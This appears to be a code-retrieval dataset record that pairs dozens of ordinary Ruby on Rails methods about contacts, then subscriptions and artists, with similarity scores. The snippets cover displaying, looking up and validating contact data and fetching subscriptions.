"def build_lookup_belongs(blank = nil)\n # TODO: Remove rescue statement\n @sms_templates = SmsTemplate.find_all_for_select_option('')\n @message_signature = \"\\n--\\n#{self.current_user.display_name.truncate(24)}\"\n @sms_recipients = AddressbookContact.find(:all, :order => 'name ASC')\n \n end",
"def display_all_contacts\n\t\tputs \"Your contact list includes:\"\n\t\t\tContact.all.each do |contact|\n\t\t\t\tputs \"[#{contact.id}] #{contact.first_name} #{contact.last_name}\"\n\tend\nend",
"def display_attribute_across\n unless @rolodex.is_empty?\n attr_code = attr_menu\n if attr_code\n @rolodex.display_info_by_attribute(attr_code)\n end\n end\n puts \"Number of contacts: #{@rolodex.length}\"\n end",
"def show\n @contact = Contact.find(params[:id])\n @company = @contact.company\n @company = Company.new if !@company\n @company_path_ = @company.id ? company_path(@company) : \" \"\n restrict_access(\"contacts\") if @contact.firm_id != @firm.id\n end",
"def preferred_contact_detail\n return nil if preferred_contact_method.blank?\n if preferred_contact_method == (\"Home Phone\")\n number_to_phone(phone_home)\n elsif preferred_contact_method == (\"Mobile Phone\")\n number_to_phone(phone_mobile)\n elsif preferred_contact_method.include?(\"Email\")\n email\n end\n end",
"def display_all_contacts\n all_contact = Contact.all\n all_contact.each do |list|\n puts:\"===============================\"\n puts \"first name: #{list.first_name}\"\n puts \"last name: #{list.last_name}\"\n puts \"email: #{list.email}\"\n puts \"note: #{list.note}\"\n puts \"id: #{list.id}\"\n puts\n\n end\n end",
"def populate_contact_details\n last_booking = Bookings::Booking.last_accepted_booking_by(bookings_school)\n\n return false if last_booking.blank?\n\n assign_attributes(\n contact_name: last_booking.contact_name,\n contact_email: last_booking.contact_email,\n contact_number: last_booking.contact_number,\n location: last_booking.location,\n )\n\n true\n end",
"def association_links(obj)\n if model.lazy_load_association_links?(type, request) && normalized_type != :association_links && request.params['associations'] != 'show'\n \"<div id='lazy_load_association_links' data-object='#{model.primary_key_value(obj)}' data-type='#{type}'><a href=\\\"#{url_for(\"#{type}/#{model.primary_key_value(obj)}?associations=show\")}\\\">Show Associations</a></div>\"\n elsif type == :show\n association_link_list(obj).to_s\n else\n \"#{inline_mtm_edit_forms(obj)}#{association_link_list(obj)}\"\n end\n end",
"def show\n @contacto= @enc_contacto.contactos.build\n end",
"def get_associated_contact_name(contact_type)\n contact_name = nil\n \n if contact_type.match('person')\n contact_name = role.person.full_name unless role.person.blank?\n end\n \n if contact_type.match('organisation')\n contact_name = role.organisation.organisation_list_name(true) unless role.organisation.blank?\n end\n \n return contact_name\n end",
"def contact\n ::HubEdos::Common::Reference::Descriptor.new(@data['contact']) if @data['contact']\n end",
"def display_info_by_attribute(type, attribute_val)\n if type == 1\n result = Contact.where(first_name: attribute_val)\n if result.empty?\n {status: false, error: \"\\nContact with first name #{attribute_val} not found.\"}\n else\n # see private method section for load_people\n {status: true, contact: load_people(result)}\n end\n\n elsif type == 2\n result = Contact.where(last_name: attribute_val)\n if result.empty?\n {status: false, error: \"\\nContact with last name #{attribute_val} not found.\"}\n else\n {status: true, contact: load_people(result)}\n end\n\n elsif type == 3\n result = Contact.where(email: attribute_val)\n if result.empty?\n {status: false, error: \"\\nContact with email #{attribute_val} not found.\"}\n else\n {status: true, contact: load_people(result)}\n end\n\n elsif type == 4\n result = Contact.where(notes: attribute_val)\n if result.empty?\n {status: false, error: \"\\nContact with notes: #{attribute_val} not found.\"}\n else\n {status: true, contact: load_people(result)}\n end\n\n end\n end",
"def show\n@prac = Contact.find_by(:id => @oncourse_exercise.prac_id )\n@change_agent = Contact.find_by(:id => @oncourse_exercise.change_agent_id)\n end",
"def show\n # set polymorphic\n @contactable = @organization\n @attachable = @organization\n @addressable = @organization\n # default contact type to show is addresses\n @contact_type = 'contact'\n\n @address_type = 'address'\n\n # load comments\n @notes = @organization.comments.where(comment_type: 'note').order('created_at desc') if @organization\n\n # load tags\n @tags = @organization.present? ? @organization.comments.where(comment_type: 'tag').order('created_at desc') : []\n\n # load Purchase Orders\n @po_headers = PoHeader.where(organization: @organization)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json do\n case params[:type]\n when 'min_quality'\n min_vendor_quality = @organization.min_vendor_quality.present? ? @organization.min_vendor_quality.quality_name : ''\n render json: { min_vendor_quality: min_vendor_quality }\n when 'quality_level'\n quality_level = @organization.customer_quality.present? ? @organization.customer_quality : ''\n render json: { quality_level: quality_level }\n else\n render json: @organization\n end\n end\n end\n end",
"def one_contact \n puts \"Name: #{@one_contact[:contact_name]}\".colorize(:green)\n puts \"Email: #{@one_contact[:contact_email]}\".colorize(:green)\n \nend",
"def contact_name\n attributes[:contact] && attributes[:contact][:name]\n end",
"def render_contact_profile_section\n if params[:contact_id].present? && params[:profile_section].present? \n contact = User.find(params[:contact_id])\n if contact.present?\n non_applied_active_campaigns = contact.non_applied_active_campaigns\n contact_logs = ContactLog.where(:to => contact.id)\n contact_campaigns = contact.user_campaigns\n \n campaigns = contact.campaigns\n contact_interviews = Interview.where(:candidate => contact.id)\n end\n \n case params[:profile_section]\n when CANDIDATE_OVERVIEW\n binding.pry\n return render :partial => \"overview\", :locals => {:contact => contact, :contact_campaigns => contact_campaigns}\n when CANDIDATE_PROFILE\n return render :partial => \"profile\", :locals => {:contact => contact}\n when CANDIDATE_TRAITS\n user_traits = contact.user_traits\n @traits = Trait.where(:status => TRAIT_STATUS_INTERNAL)\n return render :partial => \"traits\", :locals => {:user_traits => user_traits, :contact => contact, :traits => @traits}\n when CANDIDATE_QUALIFICATION\n @grades = QualificationGrade.where(:status => 'active') \n return render :partial => \"qualifications\", :locals => {:contact => contact, :grades => @grades}\n when CANDIDATE_CONTACT_LOG \n return render :partial => \"contact_log\", :locals => {:contact_logs => contact_logs, :contact => contact, :campaigns => campaigns} \n when CANDIDATE_CAMPAIGNS\n return render :partial => \"campaigns\", :locals => {:non_applied_active_campaigns => non_applied_active_campaigns, :contact_campaigns => contact_campaigns, :contact => contact}\n when CANDIDATE_INTERVIEWS\n return render :partial => \"interviews\", :locals => {:contact_interviews => contact_interviews, :contact => contact, :campaigns => campaigns}\n when CANDIDATE_EXAMS\n user_exams = contact.user_exams.includes(:exam).where('status =?', 'ended')\n return render :partial => \"exams\", :locals => { :user_exams => user_exams } \n end\n end\n \n end",
"def show\n @roles = Role.all\n @user.build_contact if @user.contact.nil?\n end",
"def name_or_contact_info\n if name.blank?\n [email, phone].join(', ')\n else\n name\n end\n end",
"def show\n @contacts = @lead.contacts\n @events = @lead.events\n end",
"def contact\n\t\t@contact\n\tend",
"def contact\n\t\t@contact\n\tend",
"def contacts\r\n\r\n end",
"def format_narrative(field_contact)\n return format_unknown if field_contact.narrative.blank?\n\n # mapping from text to link\n mapping = field_contact.incidents.inject({}) do |h,inc|\n h[inc.incident_number.to_s] = incident_path(inc)\n h[\"i#{inc.incident_number}\"] = incident_path(inc)\n h\n end\n mapping = field_contact.citations.inject(mapping) do |h,cit|\n h[cit.ticket_number] = citation_path(cit)\n h\n end\n\n # this is suspicious, it's possible we could substitute the same text\n # twice and mess up a link we just created or something\n html = simple_format(field_contact.narrative)\n mapping.each do |text, url|\n html.gsub!(Regexp.new('\\b' + text + '\\b', Regexp::IGNORECASE), link_to(text, url))\n end\n\n raw(html)\n end",
"def matter_contact_records\n get_comp_id = get_company_id\n @contacts = Contact.get_contact_records(current_company,get_comp_id) \n @matters = Matter.get_matter_records(get_comp_id, get_employee_user_id)\n end",
"def contact\r\n\t\t\"#{small_title(contact_titre.to_s)} #{contact_prenom.to_s} #{contact_nom.to_s}\".strip\t\t\r\n\tend",
"def contact\n\t\t\"#{small_title(titre.to_s)} #{contact_prenom.to_s} #{contact_nom.to_s}\".strip\t\t\n\tend",
"def contact_info\n puts \" Address: #{@address}\"\n puts \" Phone No: #{@phone}\"\n puts \" Email: #{@email}\"\n end",
"def show_detail(n)\n puts \"Here's the detail for contact ID #{n}\"\n puts \"================================\"\n puts \"Name: #{Contact.find(n).name}\"\n puts \"Email: #{Contact.find(n).email}\"\n puts Contact.find(n).phone_hash.to_yaml\n puts \"================================\"\n end",
"def get_custom_fields(autopilot_contact)\n\t if autopilot_contact.has_key?(\"custom\")\n \t\tautopilot_contact[\"custom\"].each do |key,value|\n\t\t\t#if !cf[\"deleted\"]\n\t\t\t\t#Rails.logger.info \"cutom fieldsssssssssssss\"\n\t\t\t\t#Rails.logger.info \"#{key}\"\n\t\t\t\t#Rails.logger.debug \"#{value}\"\n\t\t\t\tcustom_field_value = value\n\t\t\t\tcustom_field_type, custom_field = key.split(\"--\")\n\t\t\t\t#Rails.logger.debug \"custom field-->#{custom_field}-#{custom_field_value}\"\n\t\t\t\tcase custom_field\n\t\t\t\twhen \"FDADDRESS\"\n\t\t\t\t\t@freshdesk_data[\"address\"] = custom_field_value\n\t\t\t\twhen \"FDACCOUNTID\"\n\t\t\t\t\t@freshdesk_account_id = custom_field_value\n\t\t\t\twhen \"FDCONTACTID\"\n\t\t\t\t\t@freshdesk_contact_id = custom_field_value\n\t\t\t\telse\n\t\t\t\t #@freshdesk_data[\"custom_fields\"][cf[\"kind\"]] = custom_field_value\n\t\t\t\tend\t\n\t\t\t#end\n\t\tend\n \t end\n\tend",
"def display_all_contacts\n\t\t@rolodex.contacts.each do |user|\n\t\t\tputs \"First Name:#{user.first_name}\" \n\t\t\tputs \"Last Name: #{user.last_name}\"\n\t\t\tputs \"Email Address:#{user.email}\" \n\t\t\tputs \"Note: #{user.note}\"\n\t\tend\n\tend",
"def index\n @persona = Persona.find(params[:persona_id])\n @info_contacto = @persona.info_contactos.all\n format.html { render :show }\n end",
"def getContacts\n @contact_list.each_with_index do |c, i|\n #puts \"#{i +1}) #{c}\"\n puts \"#{i +1}) #{c[:first_name]} #{c[:last_name]} #{c[:email]}\"\n end\n end",
"def contact\n end",
"def contact\n end",
"def contact\n end",
"def contact\n end",
"def contact\n end",
"def contact\n end",
"def contact\n end",
"def contact\n end",
"def contact\n end",
"def contact\n end",
"def contact\n end",
"def contact\n end",
"def contact\n end",
"def contact\n end",
"def location_contact_fields\n [:urls, :emails, :phones]\n end",
"def association_link_list(obj)\n assocs = model.association_links_for(type, request) \n return if assocs.empty?\n read_only = type == :show\n t = String.new\n t << '<h3 class=\"associated_records_header\">Associated Records</h3>'\n t << \"<ul class='association_links'>\\n\"\n assocs.each do |assoc|\n mc = model.associated_model_class(assoc)\n t << \"<li>\"\n t << association_class_link(mc, assoc)\n t << \"\\n \"\n\n case model.association_type(assoc)\n when :one\n if assoc_obj = obj.send(assoc)\n t << \" - \"\n t << association_link(mc, assoc_obj)\n end\n assoc_objs = []\n when :edit\n if !read_only && model.supported_mtm_edit?(assoc.to_s, request)\n t << \"(<a href=\\\"#{url_for(\"mtm_edit/#{model.primary_key_value(obj)}?association=#{assoc}\")}\\\">associate</a>)\"\n end\n assoc_objs = obj.send(assoc)\n when :new\n if !read_only && mc && mc.supported_action?(:new, request)\n params = model.associated_new_column_values(obj, assoc).map do |col, value|\n \"#{mc.link}%5b#{col}%5d=#{value}\"\n end\n t << \"(<a href=\\\"#{base_url_for(\"#{mc.link}/new?#{params.join('&')}\")}\\\">create</a>)\"\n end\n assoc_objs = obj.send(assoc)\n else\n assoc_objs = []\n end\n\n unless assoc_objs.empty?\n t << \"<ul>\\n\"\n assoc_objs.each do |assoc_obj1|\n t << \"<li>\"\n t << association_link(mc, assoc_obj1)\n t << \"</li>\"\n end\n t << \"</ul>\"\n end\n\n t << \"</li>\"\n end\n t << \"</ul>\"\n end",
"def contact_info_hash\n wait_until_bus_section_load\n expand(account_details_icon)\n wait_until_ajax_finished(partner_details_div)\n wait_until { !(contact_info_dls.first.dt_dd_elements_text.first.first == '') }\n outarray = contact_info_dls.map{ |el| el.dt_dd_elements_text.delete_if{ |pair| pair.first.empty?}}.delete_if{ |el| el.empty?}\n # for OEM partner, outarray will have [\"(Invoiced)\"], and above code can't handle this\n outarray.last.pop if outarray.last.last == [\"(Invoiced)\"]\n output = Hash[*outarray.flatten]\n output['Contact Address:'] = contact_address_tb.value\n output['Contact City:'] = contact_city_tb.value\n\n @state = \"\"\n case\n when contact_state_us_select.visible?\n @state = contact_state_us_select.first_selected_option.text\n when contact_state_ca_select.visible?\n @state = contact_state_ca_select.first_selected_option.text\n else\n @state = contact_state_select.value\n end\n output['Contact State:'] = @state\n\n output['Contact ZIP/Postal Code:'] = contact_zip_tb.value\n if contact_country_select.visible?\n output['Contact Country:'] = contact_country_select.first_selected_option.text\n else\n output['Contact Country:'] = contact_country_text.text.gsub(' Change Contact Country','')\n end\n output['Phone:'] = contact_phone_tb.value\n output['Industry:'] = contact_industry_select.first_selected_option.text\n output['# of employees:'] = contact_employees_select.first_selected_option.text\n output['Contact Email:'] = contact_email_tb.value unless locate(:xpath, \"//input[@id='contact_email']\").nil?\n output['VAT Number:'] = contact_vat_tb.value unless locate(:id, 'vat_info_vat_number').nil?\n output\n end",
"def org_contact\n wizard_step(STEPS) { { next_step: :org_contact_next_step } }\n end",
"def get_contact_detail(business, category)\n contact_details.find_by(business: business, category: category)\n end",
"def index\n @contact_properties = @active_org.contact_properties\n\n if current_person.has_role?(:super_admin)\n @contact_properties = ContactProperty.all\n end\n end",
"def build_event_contact(data)\n\t\t\tcontact_full_name = \"#{data[:person][:first_name]} #{data[:person][:last_name]}\"\n\t\t\tif contact_full_name.nil? || contact_full_name.blank? || data[:person][:email].nil? || data[:person][:email].blank?\n\t\t\t\tnil\n\t\t\telse\n \t{\n name: contact_full_name,\n mobile: data[:person][:mobile],\n show_phone: true,\n email: data[:person][:email].strip,\n show_email: true\n }\n\t\tend\n\tend",
"def contact; end",
"def index\n @other_contactinfos = OtherContactinfo.all\n end",
"def contact\n\n end",
"def contact\n\n end",
"def display_info_by_attribute(contact)\n puts \"Enter attribute you want to display\"\n puts \"(1) First name\"\n puts \"(2) Last name\"\n puts \"(3) Email\"\n puts \"(4) Note\"\n att = gets.chomp.to_i\n print \"Is this the correct contact y/n?: \"\n user_choice = gets.chomp\n if user_choice.upcase() == 'Y'\n if att == 1\n puts \"#{contact.id}: #{contact.first_name}\"\n elsif att == 2\n puts \"#{contact.id}: #{contact.last_name}\"\n elsif att == 3\n puts \"#{contact.id}: #{contact.email}\"\n elsif att == 4\n puts \"#{contact.id}: #{contact.note}\"\n else\n puts \"I'm sorry but there is no such attribute\"\n end\n elsif user_choice.upcase() == 'N'\n main_menu\n end\n puts \"Press ENTER to continue....\"\n end",
"def contact_id\n attributes[:contact] && attributes[:contact][:contact_id]\n end",
"def inform_organization_context email\n # okay, because all contact_persons belong to the same organization\n orga = email.contact_people.first.organization\n offers = orga.offers.visible_in_frontend.select(\n &:remote_or_belongs_to_informable_city?\n )\n @contact_person = email.contact_people.first\n @vague_title = email.vague_contact_title?\n @mainly_portal = mainly_portal_offers?(offers)\n @overview_href_suffix = \"/organisationen/#{orga.slug || orga.id.to_s}\"\n @utm_tagging_suffix = generate_utm_suffix orga.offers, 'GF'\n @subscribe_href = get_sub_or_unsub_href email, 'subscribe'\n headers['X-SMTPAPI'] = { category: ['inform orga'] }.to_json\n send_emails email, offers, :orga_inform, t('.subject')\n end",
"def scrape_contacts; end",
"def show_person( title, person )\n\n #puts \"#{title} #{person}\"\n puts \"#{title}\"\n show_field( 'ix', person.index, ' ' )\n show_field( 'cid', person.computing_id, ' ' )\n show_field( 'first_name', person.first_name, ' ' )\n show_field( 'last_name', person.last_name, ' ' )\n show_field( 'department', person.department, ' ' )\n show_field( 'institution', person.institution, ' ' )\n end",
"def contact_fields\n if contact_type == 'contact'\n validates_length_of :first_name, minimum: 2, maximum: 20 if validates_presence_of :first_name\n validates_length_of :last_name, minimum: 2, maximum: 20 if validates_presence_of :last_name\n end\n end",
"def details\n contact_details = {\"Full Name\" => full_name, \"Email\" => email, \"Note\" => note}\n end",
"def show\n @contactable = find_contactable\n @contacto = @contactable.contactos.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n #format.json { render json: @contacto }\n end\n end",
"def primary_service_learning_contacts\n u = Unit.find_by_abbreviation(\"carlson\")\n c = contacts.find(:all, :conditions => {:organization_contact_units => {:unit_id => u.id, :primary_contact => true}})\n c.empty? ? position_supervisor_contacts : c\n end"
] |
[
"0.7142459",
"0.7142459",
"0.6882651",
"0.67908657",
"0.6738646",
"0.6607511",
"0.64317495",
"0.63859105",
"0.6362152",
"0.634692",
"0.6328542",
"0.6311444",
"0.6274218",
"0.626543",
"0.61689734",
"0.61396945",
"0.613674",
"0.6133293",
"0.6100573",
"0.6086176",
"0.60791934",
"0.60774714",
"0.60689867",
"0.60473245",
"0.6041311",
"0.60139424",
"0.59818536",
"0.59747857",
"0.5973875",
"0.5929868",
"0.5916379",
"0.5914766",
"0.59041286",
"0.59033895",
"0.5898301",
"0.58920056",
"0.5889489",
"0.5879879",
"0.58710986",
"0.5863873",
"0.58606935",
"0.58527774",
"0.58446753",
"0.58440083",
"0.5843011",
"0.5840788",
"0.5840171",
"0.583581",
"0.58156115",
"0.5794926",
"0.5792446",
"0.57918054",
"0.5789942",
"0.5788823",
"0.5788823",
"0.57871723",
"0.57825273",
"0.5777081",
"0.57661444",
"0.57365394",
"0.5733699",
"0.57243526",
"0.5719948",
"0.5716461",
"0.5695113",
"0.56918395",
"0.56819975",
"0.56819975",
"0.56819975",
"0.56819975",
"0.56819975",
"0.56819975",
"0.56819975",
"0.56819975",
"0.56819975",
"0.56819975",
"0.56819975",
"0.56819975",
"0.56819975",
"0.56819975",
"0.5680627",
"0.5671827",
"0.5670191",
"0.566468",
"0.5655253",
"0.5653833",
"0.56495005",
"0.56486034",
"0.56426114",
"0.5638197",
"0.5638197",
"0.5629228",
"0.56248134",
"0.5624209",
"0.561822",
"0.5617058",
"0.5610939",
"0.5597908",
"0.5593442",
"0.55852807"
] |
0.72065777
|
0
|
GET /artists/:artist_id/subscription GET /users/:user_id/subscriptions/:id
|
def show
respond_to do |format|
format.html # show.html.erb
format.json { render :json => @subscription }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def lookup_subscription\n @subscription = if params.has_key?(:id)\n UserSubscription.find(params[:id])\n else\n current_user.user_subscriptions.where(artist: @user).first\n end\n end",
"def show\n @subscription = current_user.subscriptions.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subscription }\n end\n end",
"def show\n @subscription = current_user.subscriptions.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subscription }\n end\n end",
"def subscription(repo, options = {})\n get \"#{Repository.path repo}/subscription\", options\n end",
"def subscriptions(user_id)\n response = rest_client.get(signature_url(\"/subscription/?user_id=#{user_id}\"))\n process_response(response)\n end",
"def list_subscriptions(user)\n get(\"/#{user}/lists/subscriptions.json\")\n end",
"def get_subscriptions(id:, order: nil)\n if order\n get_json(\"#{endpoint}/subscribers/#{uri_encode(id)}/subscriptions?order=#{uri_encode(order)}\")\n else\n get_json(\"#{endpoint}/subscribers/#{uri_encode(id)}/subscriptions\")\n end\n end",
"def get_subscriptions(id:, order: nil)\n if order\n get_json(\"#{endpoint}/subscribers/#{uri_encode(id)}/subscriptions?order=#{uri_encode(order)}\")\n else\n get_json(\"#{endpoint}/subscribers/#{uri_encode(id)}/subscriptions\")\n end\n end",
"def show\n if session[:user_id] \n @subscription = Subscription.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @subscription }\n end\n end\n end",
"def show\n @subscription = Subscription.where(follower_id: current_user.id,\n followed_id: @user.id).first\n end",
"def user_vendor_subscriptions\n get(\"/api/v1/oauth_user_vendor_subscriptions.json\")\n end",
"def get_artist(id)\n @connection.get \"artists/#{id}\"\n end",
"def show\n @subscription = Subscription.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subscription }\n end\n end",
"def show\n @subscription = Subscription.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subscription }\n end\n end",
"def show\n @subscription = Subscription.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subscription }\n end\n end",
"def show\n @subscription = Subscription.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subscription }\n end\n end",
"def show\n @subscription = Subscription.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subscription }\n end\n end",
"def show\n json_response(@user_subscription)\n end",
"def show\r\n @subscription = Subscription.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @subscription }\r\n end\r\n end",
"def subscribe_author\n self.subscriptions.create user_id: self.user.id\n end",
"def list_subs\n \t@subs = instagram_client.subscriptions\n end",
"def get_subscriber_of_list(user, list, subscriber_id)\n get(\"/#{user}/#{list}/subscribers/#{subscriber_id}.json\")\n end",
"def get_subscription(subscription_id)\n get(url_(\"subscription\", subscription_id))\n end",
"def destroy\n @subscription.destroy\n\n respond_to do |format|\n format.html { redirect_to artist_subscription_path }\n format.json { head :ok }\n end\n end",
"def artist_show_song\r\n\r\n\t\t#@artist = Artist.find(params[:id])\r\n\t\tsearchString = params[:url_slug]\r\n\t\t@artist = Artist.find_by_url_slug(searchString)\r\n\t\t@song = @artist.song.find.by_url_slug(params[:song_name])\r\n\r\n\t\trespond_to do |format|\r\n\t\t\tformat.html # show.html.erb\r\n\t\t\tformat.xml { render :xml => @artist }\r\n\t\tend\r\n\tend",
"def index\n @subscriptions = current_user.subscriptions.all\n end",
"def subscribed_subreddits(options = {})\n options = options.clone\n\n category = options[:category] or 'subscriber'\n path = \"subreddits/mine/#{category}.json\"\n options.delete :category\n\n objects_from_response(:get, path, options)\n end",
"def subscriber(id_or_email)\n make_json_api_request :get, \"v2/#{account_id}/subscribers/#{CGI.escape id_or_email}\"\n end",
"def index\n if params[:client_id].blank?\n @subscriptions = Subscription.all\n else\n @subscriptions = Client.find(params[:client_id]).subscriptions\n end\n end",
"def show_single_webhook_subscription(id,opts={})\n query_param_keys = [\n \n\n ]\n\n form_param_keys = [\n \n\n ]\n\n # verify existence of params\n raise \"id is required\" if id.nil?\n # set default values and merge with input\n options = underscored_merge_opts(opts,\n :id => id\n\n )\n\n # resource path\n path = path_replace(\"/lti/subscriptions/{id}\",\n :id => id)\n headers = nil\n form_params = select_params(options, form_param_keys)\n query_params = select_query_params(options, query_param_keys)\n\n response = mixed_request(:get, path, query_params, form_params, headers)\n response\n \n\n end",
"def show\n @subscriber = Subscriber.find(params[:id])\n end",
"def set_subscription\n @subscription = Subscription.find(params[:id])\nend",
"def set_subscription\n @subscription = Subscription.find(params[:id])\nend",
"def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"def subscriber_list(statuspage_id)\n request :method => :get,\n :url => @url + 'subscriber/list/' + statuspage_id\n end",
"def show\n\n @subscriber = Subscriber.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subscriber }\n end\n end",
"def show\n @subscription = Subscription.find(params[:id], :conditions => \"user_id = #{session['user_id']}\")\n\n respond_to do |format|\n format.html { redirect_to(subscriptions_path) }\n format.xml { render :xml => @subscription }\n format.rss { render :layout => false } # uses show.rss.builder\n end\n end",
"def user_subscriptions(user_id, options={})\n response = connection.get do |req|\n req.url \"/user/#{user_id}/subscriptions\", simple_params(options)\n end\n response.body\n end",
"def artist_albums(artist, options = {})\n get \"artists/#{artist}/albums\", options\n end",
"def show\n @subscription = Subscription.find(params[:id])\n auth!\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @subscription }\n end\n end",
"def show\n @subscriber = Subscriber.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subscriber }\n end\n end",
"def show\n @subscriber = Subscriber.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subscriber }\n end\n end",
"def show\n @subscriber = Subscriber.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subscriber }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subscription }\n end\n end",
"def terms artist\n url = URI.parse(\"http://developer.echonest.com/api/v4/artist/terms?api_key=#{ECHONEST_API_KEY}&name=#{artist}&format=json\")\nend",
"def index\n\n if @notification\n json_response(@notification.user_subscriptions)\n end\n if request.path_parameters.has_key?(:user_id)\n json_response(@user.user_subscriptions)\n end\n end",
"def get_subscription subscription_name, options = {}\n subscriber.get_subscription subscription: subscription_path(subscription_name, options)\n end",
"def index \n if session[:user_id] \n @subscriptions = Subscription.all(:conditions => [\"user_id = ?\", session[:user_id]])\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @subscriptions }\n end\n else\n redirect_to \"/login\"\n end\n end",
"def show\n @subscription = Subscription.find(params[:id])\n auth!\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render xml: @subscription }\n end\n end",
"def subscriptions\n iq = connection.iq_stanza({'to'=>jid.bare},\n x('pubsub',{:xmlns => EM::Xmpp::Namespaces::PubSubOwner},\n x('subscriptions',:node => node_id)\n )\n )\n send_iq_stanza_fibered iq\n end",
"def all_subscriptions\n get(url_(\"subscription\"))\n end",
"def list_my_subscriptions() path = \"/api/v2/utilities/subscriptions\"\n get(path, {}, AvaTax::VERSION) end",
"def get_artist\n Artist.find(params[:id])\n end",
"def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"def subscription(id)\n Sensit::Api::Subscription.new id, @http_client\n end",
"def show\n @list_subscription = ListSubscription.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @list_subscription }\n end\n end",
"def index\n @subscriptions = nil #the load_and_authorize_resource cancan method is loading all the subscriptions and we want to start with a clean slate here.\n if params[:company_id]\n @owner = Company.find(params[:company_id])\n @subscriptions = Subscription.where(owner_type: 'Company', owner_id: params[:company_id])\n end\n if params[:person_id]\n @owner = Person.find(params[:person_id])\n @subscriptions ||= Subscription.where(owner_type: 'Person', owner_id: params[:person_id])\n end\n \n @subscriptions ||= Subscription.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @subscriptions }\n end\n end",
"def subscriptions; end",
"def subscriptions; end",
"def subscriptions; end",
"def create / update_subscriptions\n end",
"def show\n @subscription = Subscription.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @subscription }\n end\n end",
"def find_any_subscription_with(user)\n Subscription.where(:user_id => self.id, :subscriber_id => user.id).first\n end",
"def show\n @subscription = Subscription.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @subscription }\n end\n end",
"def show\n @subscription = Subscription.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @subscription }\n end\n end",
"def show\n @subscription = Subscription.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @subscription }\n end\n end",
"def subscribe\n Socky.send( {:action => \"subscribe\",\n :channel => params[:channel],\n :client => (params[:client_id] || '')}.to_json)\n render :text => \"ok\"\n end",
"def index\n session[:sub_delete_return_to] = request.fullpath\n @subscriptions = Subscription.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @subscriptions }\n end\n end",
"def handle_subscribe\n\n @user = User.find(params[:user_id])\n current_user.follow(@user)\n\n #update the subscribe button using AJAX\n respond_to do |format|\n format.js { render :file => 'users/handle_sub_unsub.js.erb' }\n end\n\n #notify the user when someone subscribes to them\n @user.notifications.create(description:\"has subscribed to your memes!\", from_user_id: current_user.id)\n\n end",
"def create\n s_params = params[:subscription]\n s_params.delete(:id)\n @subscription = Subscription.new(s_params)\n @subscription.save\n respond_with(@subscription)\n end",
"def index\n @subscriptions = Subscription.all\n end",
"def index\n @subscriptions = Subscription.all\n end",
"def index\n @subscriptions = Subscription.all\n end",
"def retrieve_subscription(subscription_id:,\n include: nil)\n new_api_call_builder\n .request(new_request_builder(HttpMethodEnum::GET,\n '/v2/subscriptions/{subscription_id}',\n 'default')\n .template_param(new_parameter(subscription_id, key: 'subscription_id')\n .should_encode(true))\n .query_param(new_parameter(include, key: 'include'))\n .header_param(new_parameter('application/json', key: 'accept'))\n .auth(Single.new('global')))\n .response(new_response_handler\n .deserializer(APIHelper.method(:json_deserialize))\n .is_api_response(true)\n .convertor(ApiResponse.method(:create)))\n .execute\n end",
"def get_artist(artist_id)\n query_and_build \"artists/#{artist_id}\"\n end",
"def index\n @subscriptions = Subscription.all\nend",
"def show\n redirect_to subscribe_path unless current_user_subscribed?\n end",
"def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"def subscription_params\n {:playlist_id => @playlist.id}\n end",
"def subscribed\n @course_queue = CourseQueue.find(params[:id])\n stream_for @course_queue\n end",
